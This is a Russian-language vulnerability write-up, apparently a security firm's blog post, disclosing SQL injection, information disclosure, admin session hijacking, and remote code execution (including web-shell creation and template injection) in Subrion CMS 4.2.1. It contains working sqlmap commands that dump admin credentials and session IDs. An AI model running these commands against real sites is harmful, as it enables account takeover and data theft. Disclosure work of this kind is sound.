Специалистами израильской компании Roundsec были выявлены многочисленные критические уязвимости в последней версии Subrion CMS 4.2.1

https://subrion.org/
Подготовка среды для исследования:

  • PHP 5.6.27
  • MySQL 5.0.11
  • Apache 2.2

Для исследования кода наши специалисты используют ПО как сторонних производителей — Checkmarx, Fortify так и собственной разработки: https://cobweb-security.com/

Начинаем установку CMS для исследования на локальную машину и убеждаемся, что все требования выполнены. Установка довольно простая, нам нужно задать валидные данные от базы данных, а так же имя, пароль и почту администратора.

Установка завершена, не забываем по рекомендации удалить установочную директорию.

1) SQL Injection

Файл \ subrion \ front \ actions.php строка 34

$field = isset ($_POST['field']) ? iaSanitize::sql($_POST['field']) : null ;

Переменная POST [‘field’] обрабатывается с использованием функции класса iaScanitize :: sql и передается в mysqli_real_escape_string, которая используется, чтобы экранировать специальные символы в строке для использования в SQL-выражении, используя текущий набор символов соединения. Поскольку эта функция может экранировать только несколько специальных символов, она не может защитить от SQL-инъекции без одинарных кавычек, поэтому уязвимости, связанные с внедрением SQL-кода, можно эксплуатировать без кавычек.

\ subrion \ front \ actions.php

\subrion\includes\classes\ia.core.sanitize.php

\subrion\includes\classes\ia.core.sanitize.php

\subrion\includes\classes\ia.core.sanitize.php

 

содержимое стека в отладчике

Эксплуатация уязвимости:

В данной CMS используется защита при отправке запросов. Каждый запрос будет проверять валидный токен cstf и ссылку. Поэтому для проведения эксплуатации нам необходимо получить токен. Сделать это можно отправив POST запрос по ссылке.

Получаем токен

Отправляем запрос в SqlMap и спустя некоторое время получаем название БД

-u "https://subrion/actions.json" --data="__st=uq6FzZ8Y4qRnhjKzcnzmxIxZQQZfyVdYDPzIqRhz&action=edit-picture-title&itemid=1&item=member&path=1&field=1" --eta
--random-agent --dbms="MySQL" --current-db -p field

уязвимость SQL injection подтверждена

2) SQL Injection part 2

\subrion\front\actions.php строка 106

public function deleteUploadedFile($fieldName, $itemName, $itemId, $fileName = null , $checkOwnership = false )

Второй параметр функции $itemName из $_POST[item] не проверяется должным образом, в результате чего мы снова можем поэксплуатировать SQL-инъекцию.

\subrion\includes\classes\ia.core.field.php строка 1322

содержимое стэка в отладчике

Снова сформируем запрос в SqlMap, и на этот раз получим данные администратора

-u https://subrion/actions.json? --data="__st= uq6FzZ8Y4qRnhjKzcnzmxIxZQQZfyVdYDPzIqRhz &item=blog_entries where 1=2 xor if(2>1,sleep(5),0)-- -&itemid=2&field=image&file=t/tdest/|xx.png&action=delete-file" --eta --random-agent --dbms="MySQL" -D subrion -T sbr421_members -C id,username,password,email,status,fullname --dump

И получаем все данные администратора:

3) Раскрытие чувствительной информации

Составив специально сформированный запрос, мы сможем раскрыть чувствительную информацию.

Код из /front/actions.php

Эксплуатация: запрос /actions/x.json?action=assign-owner&q=%/p>

4) Угон сессии администратора

Используя уязвимость SQL Injection мы можем получить сессию администратора, которая хранится в таблице sbr421_online и отправив запрос от обычного пользователя без прав, получим права администратора.

Рассмотрим уязвимость подробнее:

пользовательская сессия без прав администратора

Получаем сессию администратора, используя сформированный запрос в SqlMap

-u "https://subrion/actions.json" --data="__st=uq6FzZ8Y4qRnhjKzcnzmxIxZQQZfyVdYDPzIqRhz&action=edit-picture-title&itemid=1&item=member&path=1&field=1*" --eta
--random-agent --dbms="MySQL" --current-db --technique=T -D subrion -T sbr421_online -C session_id --dump

И повторяем запрос в BurpSuite уже с сессией администратора, получая захват аккаунта администратора.

5) Выполнение команд через аккаунт администратора RCE

Находясь в панели администратора, мы можем менять значение Refine Search в модуле Blocks и добавить вредоносный код, который выполнится, когда мы воспользуемся поиском.

добавляем вредоносный код

и сразу же проверим еще один способ получения веб-шелла.

В модуле, отвечающем за обработку полей при определенных событиях, такие как регистрация пользователя, проверка корректности введённого почтового адреса и т.д содержится атрибут extra_action, в который мы можем так же добавить свой код и он выполнится при срабатывании триггера.

В данном примере мы установили триггер “создать файл” с именем owned1.php и содержимым при вводе имени пользователя.

Попробуем зарегистрировать нового пользователя и ввести новое имя:

И в результате мы получаем выполнение нашего кода:

6) RCE через Server-Side Template Injection

Server-Side Template Injection или SSTI представляет собой механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Так как инъекция шаблона производится на стороне сервера, то многие защитные программы, фильтрующие трафик со стороны пользования, не могут обнаружить постороннее вмешательство.

Уязвимый код находится в /front/actions.php при обработке параметра ’email_body’

/includes/classes/ia.core.mailer.php

Для эксплуатации уязвимости нам так же понадобится верный код капчи, который мы можем получить перейдя напрямую по ссылке /captcha

И далее формируем запрос, позволяющая нам выполнить код.

Как видно в примерах выше, никакой код не застрахован от многочисленных критических уязвимостей, которые могут позволить злоумышленнику нанести непоправимый вред инфраструктуре. Чтобы обезопасить себя от подобных ситуаций, мы рекомендуем заказать услуги по обеспечению безопасности у профессионалов компании Roundsec.


Поделиться публикацией в социальных сетях:

Хотите обсудить свой проект?

Заполните форму, и наши менеджеры бесплатно проконсультируют вас.




    our BLOG

    Последние публикации

    Категории

    Privacy Preference Center

    Strictly Necessary

    These cookies are essential for websites built on Wordpress to perform their basic functions. These include those required to allow registered users to authenticate and perform account related functions.

    wordpress_test_cookie, wordpress_{hash}, wordpress_logged_in_{hash}, wp-settings-{user_id}, wp_sharing_{id}

    Close your account?

    Your account will be closed and all data will be permanently deleted and cannot be recovered. Are you sure?